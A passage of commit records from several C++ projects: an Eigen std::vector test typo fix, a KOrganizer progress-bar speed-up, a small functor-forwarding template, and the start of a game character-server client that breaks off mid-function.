CALL_SUBTEST(check_stdvector_matrix(MatrixXd(1,1)));\n CALL_SUBTEST(check_stdvector_matrix(VectorXd(20)));\n CALL_SUBTEST(check_stdvector_matrix(RowVectorXf(20)));\n CALL_SUBTEST(check_stdvector_matrix(MatrixXcf(10,10)));\n\n \/\/ some Transform\n CALL_SUBTEST(check_stdvector_transform(Transform2f()));\n CALL_SUBTEST(check_stdvector_transform(Transform3f()));\n CALL_SUBTEST(check_stdvector_transform(Transform3d()));\n \/\/CALL_SUBTEST(check_stdvector_transform(Transform4d()));\n\n \/\/ some Quaternion\n CALL_SUBTEST(check_stdvector_quaternion(Quaternionf()));\n CALL_SUBTEST(check_stdvector_quaternion(Quaternionf()));\n}\n<commit_msg>fix typo<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n#include <Eigen\/StdVector>\n#include <Eigen\/Geometry>\n\ntemplate<typename MatrixType>\nvoid check_stdvector_matrix(const MatrixType& m)\n{\n int rows = m.rows();\n int cols = m.cols();\n MatrixType x = MatrixType::Random(rows,cols), y = MatrixType::Random(rows,cols);\n std::vector<MatrixType,Eigen::aligned_allocator<MatrixType> > v(10, MatrixType(rows,cols)), w(20, y);\n v[5] = x;\n w[6] = v[5];\n VERIFY_IS_APPROX(w[6], v[5]);\n v = w;\n for(int i = 0; i < 20; i++)\n {\n VERIFY_IS_APPROX(w[i], v[i]);\n }\n\n v.resize(21);\n v[20] = x;\n VERIFY_IS_APPROX(v[20], x);\n v.resize(22,y);\n VERIFY_IS_APPROX(v[21], y);\n v.push_back(x);\n VERIFY_IS_APPROX(v[22], x);\n VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(MatrixType));\n\n \/\/ do a lot of push_back such that the vector gets internally resized\n \/\/ (with memory reallocation)\n MatrixType* ref = &w[0];\n for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n v.push_back(w[i%w.size()]);\n for(unsigned int i=23; i<v.size(); ++i)\n {\n VERIFY(v[i]==w[(i-23)%w.size()]);\n }\n}\n\ntemplate<typename TransformType>\nvoid check_stdvector_transform(const TransformType&)\n{\n typedef typename TransformType::MatrixType MatrixType;\n TransformType x(MatrixType::Random()), y(MatrixType::Random());\n std::vector<TransformType,Eigen::aligned_allocator<TransformType> > v(10), w(20, y);\n v[5] = x;\n w[6] = v[5];\n VERIFY_IS_APPROX(w[6], v[5]);\n v = w;\n for(int i = 0; i < 20; i++)\n {\n VERIFY_IS_APPROX(w[i], v[i]);\n }\n\n v.resize(21);\n v[20] = x;\n VERIFY_IS_APPROX(v[20], x);\n v.resize(22,y);\n VERIFY_IS_APPROX(v[21], y);\n v.push_back(x);\n VERIFY_IS_APPROX(v[22], x);\n VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(TransformType));\n\n \/\/ do a lot of push_back such that the vector gets internally resized\n \/\/ (with memory reallocation)\n TransformType* ref = &w[0];\n for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n v.push_back(w[i%w.size()]);\n for(unsigned int i=23; i<v.size(); ++i)\n {\n VERIFY(v[i].matrix()==w[(i-23)%w.size()].matrix());\n }\n}\n\ntemplate<typename QuaternionType>\nvoid check_stdvector_quaternion(const QuaternionType&)\n{\n typedef typename QuaternionType::Coefficients Coefficients;\n QuaternionType x(Coefficients::Random()), y(Coefficients::Random());\n std::vector<QuaternionType,Eigen::aligned_allocator<QuaternionType> > v(10), w(20, y);\n v[5] = x;\n w[6] = v[5];\n VERIFY_IS_APPROX(w[6], v[5]);\n v = w;\n for(int i = 0; i < 20; i++)\n {\n VERIFY_IS_APPROX(w[i], v[i]);\n }\n\n v.resize(21);\n v[20] = x;\n VERIFY_IS_APPROX(v[20], x);\n v.resize(22,y);\n VERIFY_IS_APPROX(v[21], y);\n v.push_back(x);\n VERIFY_IS_APPROX(v[22], x);\n VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(QuaternionType));\n\n \/\/ do a lot of push_back such that the vector gets internally resized\n \/\/ (with memory reallocation)\n QuaternionType* ref = &w[0];\n for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n v.push_back(w[i%w.size()]);\n for(unsigned int i=23; i<v.size(); ++i)\n {\n VERIFY(v[i].coeffs()==w[(i-23)%w.size()].coeffs());\n }\n}\n\nvoid test_stdvector()\n{\n \/\/ some non vectorizable fixed sizes\n CALL_SUBTEST(check_stdvector_matrix(Vector2f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix3f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix3d()));\n\n \/\/ some vectorizable fixed sizes\n CALL_SUBTEST(check_stdvector_matrix(Matrix2f()));\n CALL_SUBTEST(check_stdvector_matrix(Vector4f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix4f()));\n CALL_SUBTEST(check_stdvector_matrix(Matrix4d()));\n\n \/\/ some dynamic sizes\n CALL_SUBTEST(check_stdvector_matrix(MatrixXd(1,1)));\n CALL_SUBTEST(check_stdvector_matrix(VectorXd(20)));\n CALL_SUBTEST(check_stdvector_matrix(RowVectorXf(20)));\n CALL_SUBTEST(check_stdvector_matrix(MatrixXcf(10,10)));\n\n \/\/ some Transform\n CALL_SUBTEST(check_stdvector_transform(Transform2f()));\n CALL_SUBTEST(check_stdvector_transform(Transform3f()));\n CALL_SUBTEST(check_stdvector_transform(Transform3d()));\n \/\/CALL_SUBTEST(check_stdvector_transform(Transform4d()));\n\n \/\/ some Quaternion\n CALL_SUBTEST(check_stdvector_quaternion(Quaternionf()));\n CALL_SUBTEST(check_stdvector_quaternion(Quaterniond()));\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n This file is part of KOrganizer.\n Copyright (c) 2000,2001 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n*\/\n\n#include <klocale.h>\n#include <kdebug.h>\n\n#include \"kotodoviewitem.h\"\n#include \"kotodoview.h\"\n#include \"koprefs.h\"\n\nKOTodoViewItem::KOTodoViewItem( QListView *parent, Todo *todo, KOTodoView *kotodo)\n : QCheckListItem( parent , \"\", CheckBox ), mTodo( todo ), mTodoView( kotodo )\n{\n construct();\n}\n\nKOTodoViewItem::KOTodoViewItem( KOTodoViewItem *parent, Todo *todo, KOTodoView *kotodo )\n : QCheckListItem( parent, \"\", CheckBox ), mTodo( todo ), mTodoView( kotodo )\n{\n construct();\n}\n\nQString KOTodoViewItem::key(int column,bool) const\n{\n QMap<int,QString>::ConstIterator it = mKeyMap.find(column);\n if (it == mKeyMap.end()) {\n return text(column);\n } else {\n return *it;\n }\n}\n\nvoid KOTodoViewItem::setSortKey(int column,const QString &key)\n{\n mKeyMap.insert(column,key);\n}\n\n#if QT_VERSION >= 300\nvoid KOTodoViewItem::paintBranches(QPainter *p,const QColorGroup & cg,int w,\n int y,int h)\n{\n QListViewItem::paintBranches(p,cg,w,y,h);\n}\n#else\n#endif\n\nvoid KOTodoViewItem::construct()\n{\n m_init = true;\n QString keyd = \"==\";\n QString keyt = \"==\";\n\n setOn(mTodo->isCompleted());\n setText(0,mTodo->summary());\n setText(1,QString::number(mTodo->priority()));\n setPixmap(2, progressImg(mTodo->percentComplete()));\n if (mTodo->percentComplete()<100) {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(mTodo->percentComplete()));\n }\n else {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(99));\n }\n if (mTodo->hasDueDate()) {\n setText(3, mTodo->dtDueDateStr());\n QDate d = mTodo->dtDue().date();\n keyd.sprintf(\"%04d%02d%02d\",d.year(),d.month(),d.day());\n setSortKey(3,keyd);\n if (mTodo->doesFloat()) {\n setText(4,\"\");\n }\n else {\n setText(4,mTodo->dtDueTimeStr());\n QTime t = mTodo->dtDue().time();\n keyt.sprintf(\"%02d%02d\",t.hour(),t.minute());\n setSortKey(4,keyt);\n }\n } else {\n setText(3,\"\");\n setText(4,\"\");\n }\n setSortKey(3,keyd);\n setSortKey(4,keyt);\n\n QString priorityKey = QString::number( mTodo->priority() ) + keyd + keyt;\n if ( mTodo->isCompleted() ) setSortKey( 1, \"1\" + priorityKey );\n else setSortKey( 1, \"0\" + priorityKey );\n\n setText(5,mTodo->categoriesStr());\n\n#if 0\n \/\/ Find sort id in description. It's the text behind the last '#' character\n \/\/ found in the description. White spaces are removed from beginning and end\n \/\/ of sort id.\n int pos = mTodo->description().findRev('#');\n if (pos < 0) {\n setText(6,\"\");\n } else {\n QString str = mTodo->description().mid(pos+1);\n str.stripWhiteSpace();\n setText(6,str);\n }\n#endif\n\n m_known = false;\n m_init = false;\n}\n\nvoid KOTodoViewItem::stateChange(bool state)\n{\n \/\/ do not change setting on startup\n if ( m_init ) return;\n\n kdDebug(5850) << \"State changed, modified \" << state << endl;\n QString keyd = \"==\";\n QString keyt = \"==\";\n\n Todo*oldTodo = mTodo->clone();\n\n if (state) mTodo->setCompleted(state);\n else mTodo->setPercentComplete(0);\n if (isOn()!=state) {\n setOn(state);\n }\n\n if (mTodo->hasDueDate()) {\n setText(3, mTodo->dtDueDateStr());\n QDate d = mTodo->dtDue().date();\n keyd.sprintf(\"%04d%02d%02d\",d.year(),d.month(),d.day());\n setSortKey(3,keyd);\n if (mTodo->doesFloat()) {\n setText(4,\"\");\n }\n else {\n setText(4,mTodo->dtDueTimeStr());\n QTime t = mTodo->dtDue().time();\n keyt.sprintf(\"%02d%02d\",t.hour(),t.minute());\n setSortKey(4,keyt);\n }\n }\n\n QString priorityKey = QString::number( mTodo->priority() ) + keyd + keyt;\n if ( mTodo->isCompleted() ) setSortKey( 1, \"1\" + priorityKey );\n else setSortKey( 1, \"0\" + priorityKey );\n\n setPixmap(2, progressImg(mTodo->percentComplete()));\n if (mTodo->percentComplete()<100) {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(mTodo->percentComplete()));\n }\n else {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(99));\n }\n QListViewItem *myChild = firstChild();\n KOTodoViewItem *item;\n while( myChild ) {\n item = static_cast<KOTodoViewItem*>(myChild);\n item->stateChange(state);\n myChild = myChild->nextSibling();\n }\n mTodoView->modified(true);\n mTodoView->setTodoModified( oldTodo, mTodo );\n delete oldTodo;\n}\n\nQPixmap KOTodoViewItem::progressImg(int progress)\n{\n QImage img(64, 11, 32, 16);\n QPixmap progr;\n int x, y;\n\n \/* White Background *\/\n img.fill(KGlobalSettings::baseColor().rgb());\n\n\n \/* Check wether progress is in valid range *\/\n if(progress > 100) progress = 100;\n else if (progress < 0) progress=0;\n\n \/* Calculating the number of pixels to fill *\/\n progress=(int) (((float)progress)\/100 * 62 + 0.5);\n\n \/* Drawing the border *\/\n for(x = 0; x < 64; x++) {\n img.setPixel(x, 0, KGlobalSettings::textColor().rgb());\n img.setPixel(x, 10, KGlobalSettings::textColor().rgb());\n }\n\n for(y = 0; y < 11; y++) {\n img.setPixel(0, y, KGlobalSettings::textColor().rgb());\n img.setPixel(63, y, KGlobalSettings::textColor().rgb());\n }\n\n \/* Drawing the progress *\/\n for(y = 1; y <= 9; ++y)\n for(x = 1; x <= progress; ++x)\n img.setPixel(x, y, KGlobalSettings::highlightColor().rgb());\n\n \/* Converting to a pixmap *\/\n progr.convertFromImage(img);\n\n return progr;\n}\n\nbool KOTodoViewItem::isAlternate()\n{\n#ifndef KORG_NOLVALTERNATION\n KOTodoListView *lv = static_cast<KOTodoListView *>(listView());\n if (lv && lv->alternateBackground().isValid())\n {\n KOTodoViewItem *above = 0;\n above = dynamic_cast<KOTodoViewItem *>(itemAbove());\n m_known = above ? above->m_known : true;\n if (m_known)\n {\n m_odd = above ? !above->m_odd : false;\n }\n else\n {\n KOTodoViewItem *item;\n bool previous = true;\n if (QListViewItem::parent())\n {\n item = dynamic_cast<KOTodoViewItem *>(QListViewItem::parent());\n if (item)\n previous = item->m_odd;\n item = dynamic_cast<KOTodoViewItem *>(QListViewItem::parent()->firstChild());\n }\n else\n {\n item = dynamic_cast<KOTodoViewItem *>(lv->firstChild());\n }\n\n while(item)\n {\n item->m_odd = previous = !previous;\n item->m_known = true;\n item = dynamic_cast<KOTodoViewItem *>(item->nextSibling());\n }\n }\n return m_odd;\n }\n return false;\n#else\n return false;\n#endif\n}\n\nvoid KOTodoViewItem::paintCell(QPainter *p, const QColorGroup &cg, int column, int width, int alignment)\n{\n QColorGroup _cg = cg;\n#ifndef KORG_NOLVALTERNATION\n if (isAlternate())\n _cg.setColor(QColorGroup::Base, static_cast< KOTodoListView* >(listView())->alternateBackground());\n if (mTodo->hasDueDate()) {\n if (mTodo->dtDue().date()==QDate::currentDate() &&\n !mTodo->isCompleted()) {\n _cg.setColor(QColorGroup::Base, KOPrefs::instance()->mTodoDueTodayColor);\n }\n if (mTodo->dtDue().date() < QDate::currentDate() &&\n !mTodo->isCompleted()) {\n _cg.setColor(QColorGroup::Base, KOPrefs::instance()->mTodoOverdueColor);\n }\n }\n#endif\n\n QCheckListItem::paintCell(p, _cg, column, width, alignment);\n}\n<commit_msg>Speed up the performance of changing views\/date range. The todo list items used QImage with setPixel to set every single pixel of the progress bar manually! Now I use a QPainter on a QPixmap to draw the bar using drawRect, and the time to display a different date range in korganizer has increased from ~2 secs to something below 0.3 secs (with 173 todos and more than 1000 events).<commit_after>\/*\n This file is part of KOrganizer.\n Copyright (c) 2000,2001 Cornelius Schumacher <schumacher@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n*\/\n\n#include <klocale.h>\n#include <kdebug.h>\n#include <qpainter.h>\n#include <qpixmap.h>\n\n#include \"kotodoviewitem.h\"\n#include \"kotodoview.h\"\n#include \"koprefs.h\"\n\nKOTodoViewItem::KOTodoViewItem( QListView *parent, Todo *todo, KOTodoView *kotodo)\n : QCheckListItem( parent , \"\", CheckBox ), mTodo( todo ), mTodoView( kotodo )\n{\n construct();\n}\n\nKOTodoViewItem::KOTodoViewItem( KOTodoViewItem *parent, Todo *todo, KOTodoView *kotodo )\n : QCheckListItem( parent, \"\", CheckBox ), mTodo( todo ), mTodoView( kotodo )\n{\n construct();\n}\n\nQString KOTodoViewItem::key(int column,bool) const\n{\n QMap<int,QString>::ConstIterator it = mKeyMap.find(column);\n if (it == mKeyMap.end()) {\n return text(column);\n } else {\n return *it;\n }\n}\n\nvoid KOTodoViewItem::setSortKey(int column,const QString &key)\n{\n mKeyMap.insert(column,key);\n}\n\n#if QT_VERSION >= 300\nvoid KOTodoViewItem::paintBranches(QPainter *p,const QColorGroup & cg,int w,\n int y,int h)\n{\n QListViewItem::paintBranches(p,cg,w,y,h);\n}\n#else\n#endif\n\nvoid KOTodoViewItem::construct()\n{\n m_init = true;\n QString keyd = \"==\";\n QString keyt = \"==\";\n\n setOn(mTodo->isCompleted());\n setText(0,mTodo->summary());\n setText(1,QString::number(mTodo->priority()));\n setPixmap(2, progressImg(mTodo->percentComplete()));\n if (mTodo->percentComplete()<100) {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(mTodo->percentComplete()));\n }\n else {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(99));\n }\n if (mTodo->hasDueDate()) {\n setText(3, mTodo->dtDueDateStr());\n QDate d = mTodo->dtDue().date();\n keyd.sprintf(\"%04d%02d%02d\",d.year(),d.month(),d.day());\n setSortKey(3,keyd);\n if (mTodo->doesFloat()) {\n setText(4,\"\");\n }\n else {\n setText(4,mTodo->dtDueTimeStr());\n QTime t = mTodo->dtDue().time();\n keyt.sprintf(\"%02d%02d\",t.hour(),t.minute());\n setSortKey(4,keyt);\n }\n } else {\n setText(3,\"\");\n setText(4,\"\");\n }\n setSortKey(3,keyd);\n setSortKey(4,keyt);\n\n QString priorityKey = QString::number( mTodo->priority() ) + keyd + keyt;\n if ( mTodo->isCompleted() ) setSortKey( 1, \"1\" + priorityKey );\n else setSortKey( 1, \"0\" + priorityKey );\n\n setText(5,mTodo->categoriesStr());\n\n#if 0\n \/\/ Find sort id in description. It's the text behind the last '#' character\n \/\/ found in the description. White spaces are removed from beginning and end\n \/\/ of sort id.\n int pos = mTodo->description().findRev('#');\n if (pos < 0) {\n setText(6,\"\");\n } else {\n QString str = mTodo->description().mid(pos+1);\n str.stripWhiteSpace();\n setText(6,str);\n }\n#endif\n\n m_known = false;\n m_init = false;\n}\n\nvoid KOTodoViewItem::stateChange(bool state)\n{\n \/\/ do not change setting on startup\n if ( m_init ) return;\n\n kdDebug(5850) << \"State changed, modified \" << state << endl;\n QString keyd = \"==\";\n QString keyt = \"==\";\n\n Todo*oldTodo = mTodo->clone();\n\n if (state) mTodo->setCompleted(state);\n else mTodo->setPercentComplete(0);\n if (isOn()!=state) {\n setOn(state);\n }\n\n if (mTodo->hasDueDate()) {\n setText(3, mTodo->dtDueDateStr());\n QDate d = mTodo->dtDue().date();\n keyd.sprintf(\"%04d%02d%02d\",d.year(),d.month(),d.day());\n setSortKey(3,keyd);\n if (mTodo->doesFloat()) {\n setText(4,\"\");\n }\n else {\n setText(4,mTodo->dtDueTimeStr());\n QTime t = mTodo->dtDue().time();\n keyt.sprintf(\"%02d%02d\",t.hour(),t.minute());\n setSortKey(4,keyt);\n }\n }\n\n QString priorityKey = QString::number( mTodo->priority() ) + keyd + keyt;\n if ( mTodo->isCompleted() ) setSortKey( 1, \"1\" + priorityKey );\n else setSortKey( 1, \"0\" + priorityKey );\n\n setPixmap(2, progressImg(mTodo->percentComplete()));\n if (mTodo->percentComplete()<100) {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(mTodo->percentComplete()));\n }\n else {\n if (mTodo->isCompleted()) setSortKey(2,QString::number(999));\n else setSortKey(2,QString::number(99));\n }\n QListViewItem *myChild = firstChild();\n KOTodoViewItem *item;\n while( myChild ) {\n item = static_cast<KOTodoViewItem*>(myChild);\n item->stateChange(state);\n myChild = myChild->nextSibling();\n }\n mTodoView->modified(true);\n mTodoView->setTodoModified( oldTodo, mTodo );\n delete oldTodo;\n}\n\nQPixmap KOTodoViewItem::progressImg(int progress)\n{\n QPixmap img(64, 11, 16);\n QPainter painter( &img );\n\n \/* Check wether progress is in valid range *\/\n if(progress > 100) progress = 100;\n else if (progress < 0) progress=0;\n\n \/* Calculating the number of pixels to fill *\/\n progress=(int) (((float)progress)\/100 * 62 + 0.5);\n\n \/* White Background *\/\n painter.setPen( KGlobalSettings::textColor().rgb() );\n painter.setBrush( KGlobalSettings::baseColor().rgb() );\n painter.drawRect( 0, 0, 64, 11 );\n\n painter.setPen( Qt::NoPen );\n painter.setBrush( KGlobalSettings::highlightColor().rgb() );\n \/\/ TODO_RK: do I need to subtract 1 from the w and h?\n painter.drawRect( 1, 1, progress, 9 );\n painter.end();\n\n return img;\n}\n\nbool KOTodoViewItem::isAlternate()\n{\n#ifndef KORG_NOLVALTERNATION\n KOTodoListView *lv = static_cast<KOTodoListView *>(listView());\n if (lv && lv->alternateBackground().isValid())\n {\n KOTodoViewItem *above = 0;\n above = dynamic_cast<KOTodoViewItem *>(itemAbove());\n m_known = above ? above->m_known : true;\n if (m_known)\n {\n m_odd = above ? !above->m_odd : false;\n }\n else\n {\n KOTodoViewItem *item;\n bool previous = true;\n if (QListViewItem::parent())\n {\n item = dynamic_cast<KOTodoViewItem *>(QListViewItem::parent());\n if (item)\n previous = item->m_odd;\n item = dynamic_cast<KOTodoViewItem *>(QListViewItem::parent()->firstChild());\n }\n else\n {\n item = dynamic_cast<KOTodoViewItem *>(lv->firstChild());\n }\n\n while(item)\n {\n item->m_odd = previous = !previous;\n item->m_known = true;\n item = dynamic_cast<KOTodoViewItem *>(item->nextSibling());\n }\n }\n return m_odd;\n }\n return false;\n#else\n return false;\n#endif\n}\n\nvoid KOTodoViewItem::paintCell(QPainter *p, const QColorGroup &cg, int column, int width, int alignment)\n{\n QColorGroup _cg = cg;\n#ifndef KORG_NOLVALTERNATION\n if (isAlternate())\n _cg.setColor(QColorGroup::Base, static_cast< KOTodoListView* >(listView())->alternateBackground());\n if (mTodo->hasDueDate()) {\n if (mTodo->dtDue().date()==QDate::currentDate() &&\n !mTodo->isCompleted()) {\n _cg.setColor(QColorGroup::Base, KOPrefs::instance()->mTodoDueTodayColor);\n }\n if (mTodo->dtDue().date() < QDate::currentDate() &&\n !mTodo->isCompleted()) {\n _cg.setColor(QColorGroup::Base, KOPrefs::instance()->mTodoOverdueColor);\n }\n }\n#endif\n\n QCheckListItem::paintCell(p, _cg, column, width, alignment);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cassert>\n\n#include <cstddef>\n\n#include <cstdint>\n\n#include <type_traits>\n\n#include <utility>\n\n#include <new>\n\nnamespace generic\n{\n\ntemplate<typename F>\nclass forwarder;\n\ntemplate<typename R, typename ...A>\nclass forwarder<R (A...)>\n{\npublic:\n forwarder() = default;\n\n template<typename T>\n forwarder(T&& f) noexcept : stub_(handler<T>::invoke)\n {\n static_assert(sizeof(T) <= sizeof(store_), \"functor too large\");\n static_assert(::std::is_trivially_destructible<T>::value,\n \"functor not trivially destructible\");\n new (&store_) handler<T>(::std::forward<T>(f));\n }\n\n forwarder& operator=(forwarder const&) = default;\n\n template <\n typename T,\n typename = typename ::std::enable_if<\n !::std::is_same<forwarder, typename ::std::decay<T>::type>{}\n >::type\n >\n forwarder& operator=(T&& f) noexcept\n {\n static_assert(sizeof(T) <= sizeof(store_), \"functor too large\");\n static_assert(::std::is_trivially_destructible<T>::value,\n \"functor not trivially destructible\");\n new (&store_) handler<T>(::std::forward<T>(f));\n\n stub_ = handler<T>::invoke;\n\n return *this;\n }\n\n R operator() (A... args)\n {\n \/\/assert(stub_);\n return stub_(&store_, ::std::forward<A>(args)...);\n }\n\nprivate:\n template<typename T>\n struct handler\n {\n handler(T&& f) noexcept : f_(::std::forward<T>(f))\n {\n }\n\n static R invoke(void* ptr, A&&... args)\n {\n return static_cast<handler<T>*>(ptr)->f_(::std::forward<A>(args)...);\n }\n\n T f_;\n };\n\n#if defined(__clang__)\n using max_align_type = long double;\n#elif defined(__GNUC__)\n using max_align_type = ::max_align_t;\n#else\n using max_align_type = ::std::max_align_t;\n#endif\n\n alignas(max_align_type) ::std::uintptr_t store_;\n\n R (*stub_)(void*, A&&...){};\n};\n\n}\n<commit_msg>smoe fixes<commit_after>#include <cassert>\n\n#include <cstddef>\n\n#include <cstdint>\n\n#include <type_traits>\n\n#include <utility>\n\n#include <new>\n\nnamespace generic\n{\n\ntemplate<typename F>\nclass forwarder;\n\ntemplate<typename R, typename ...A>\nclass forwarder<R (A...)>\n{\npublic:\n forwarder() = default;\n\n template<typename T>\n forwarder(T&& f) noexcept : stub_(handler<T>::stub)\n {\n static_assert(sizeof(T) <= sizeof(store_), \"functor too large\");\n static_assert(::std::is_trivially_destructible<T>::value,\n \"functor not trivially destructible\");\n new (&store_) handler<T>(::std::forward<T>(f));\n }\n\n forwarder& operator=(forwarder const&) = default;\n\n template <\n typename T,\n typename = typename ::std::enable_if<\n !::std::is_same<forwarder, typename ::std::decay<T>::type>{}\n >::type\n >\n forwarder& operator=(T&& f) noexcept\n {\n static_assert(sizeof(T) <= sizeof(store_), \"functor too large\");\n static_assert(::std::is_trivially_destructible<T>::value,\n \"functor not trivially destructible\");\n new (&store_) handler<T>(::std::forward<T>(f));\n\n stub_ = handler<T>::stub;\n\n return *this;\n }\n\n R operator() (A... args)\n {\n \/\/assert(stub_);\n return stub_(&store_, ::std::forward<A>(args)...);\n }\n\nprivate:\n template<typename T>\n struct handler\n {\n handler(T&& f) noexcept : f_(::std::forward<T>(f))\n {\n }\n\n static R stub(void* ptr, A&&... args)\n {\n return static_cast<handler<T>*>(ptr)->f_(::std::forward<A>(args)...);\n }\n\n T f_;\n };\n\n#if defined(__clang__)\n using max_align_type = long double;\n#elif defined(__GNUC__)\n using max_align_type = ::max_align_t;\n#else\n using max_align_type = ::std::max_align_t;\n#endif\n\n alignas(max_align_type) ::std::uintptr_t store_;\n\n R (*stub_)(void*, A&&...){};\n};\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2016 Chirstopher Torres (Raven), L3nn0x\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http :\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"ccharclient.h\"\n#include \"ccharisc.h\"\n#include \"ccharserver.h\"\n#include \"connection.h\"\n#include \"connectionpool.h\"\n#include \"config.h\"\n#include \"dataconsts.h\"\n#include \"srv_channel_list_reply.h\"\n#include \"srv_char_list_reply.h\"\n#include \"srv_create_char_reply.h\"\n#include \"srv_delete_char_reply.h\"\n#include \"srv_join_server_reply.h\"\n#include \"srv_switch_server.h\"\n\nusing namespace RoseCommon;\nconst auto now = ::sqlpp::chrono::floor<::std::chrono::seconds>(std::chrono::system_clock::now());\n\nnamespace {\nconstexpr size_t convertSlot(uint8_t slot) {\n using namespace Packet;\n switch (static_cast<RoseCommon::EquippedPosition>(slot)) {\n case RoseCommon::EquippedPosition::GOGGLES:\n return SrvCharListReply::GOOGLES;\n case RoseCommon::EquippedPosition::HELMET:\n return SrvCharListReply::HELMET;\n case RoseCommon::EquippedPosition::ARMOR:\n return SrvCharListReply::ARMOR;\n case RoseCommon::EquippedPosition::BACKPACK:\n return SrvCharListReply::BACKPACK;\n case RoseCommon::EquippedPosition::GAUNTLET:\n return SrvCharListReply::GAUNTLET;\n case RoseCommon::EquippedPosition::BOOTS:\n return SrvCharListReply::BOOTS;\n case RoseCommon::EquippedPosition::WEAPON_R:\n return SrvCharListReply::WEAPON_R;\n case RoseCommon::EquippedPosition::WEAPON_L:\n return SrvCharListReply::WEAPON_L;\n default:\n break;\n }\n return SrvCharListReply::WEAPON_R;\n}\n}\n\nCCharClient::CCharClient()\n : CRoseClient(), accessRights_(0), loginState_(eSTATE::DEFAULT), sessionId_(0), userId_(0), channelId_(0), server_(nullptr) {}\n\nCCharClient::CCharClient(CCharServer *server, std::unique_ptr<Core::INetwork> _sock)\n : CRoseClient(std::move(_sock)),\n accessRights_(0),\n loginState_(eSTATE::DEFAULT),\n sessionId_(0),\n userId_(0),\n channelId_(0),\n server_(server) {}\n\nbool CCharClient::handlePacket(uint8_t *_buffer) {\n switch (CRosePacket::type(_buffer)) {\n case ePacketType::PAKCS_JOIN_SERVER_REQ:\n return joinServerReply(Packet::CliJoinServerReq::create(_buffer)); \/\/ Allow client to connect\n case ePacketType::PAKCS_CHAR_LIST_REQ:\n return sendCharListReply();\n case ePacketType::PAKCS_CREATE_CHAR_REQ:\n return sendCharCreateReply(Packet::CliCreateCharReq::create(_buffer));\n case ePacketType::PAKCS_DELETE_CHAR_REQ:\n return sendCharDeleteReply(Packet::CliDeleteCharReq::create(_buffer));\n case ePacketType::PAKCS_SELECT_CHAR_REQ:\n return sendCharSelectReply(Packet::CliSelectCharReq::create(_buffer));\n case ePacketType::PAKCS_ALIVE:\n if (loginState_ != eSTATE::LOGGEDIN) {\n logger_->warn(\"Client {} is attempting to execute an action before loggin in.\", userId_);\n return true;\n }\n updateSession();\n [[fallthrough]];\n default:\n CRoseClient::handlePacket(_buffer);\n }\n return true;\n}\n\nvoid CCharClient::updateSession() {\n using namespace std::chrono_literals;\n static std::chrono::steady_clock::time_point time{};\n if (Core::Time::GetTickCount() - time < 2min) 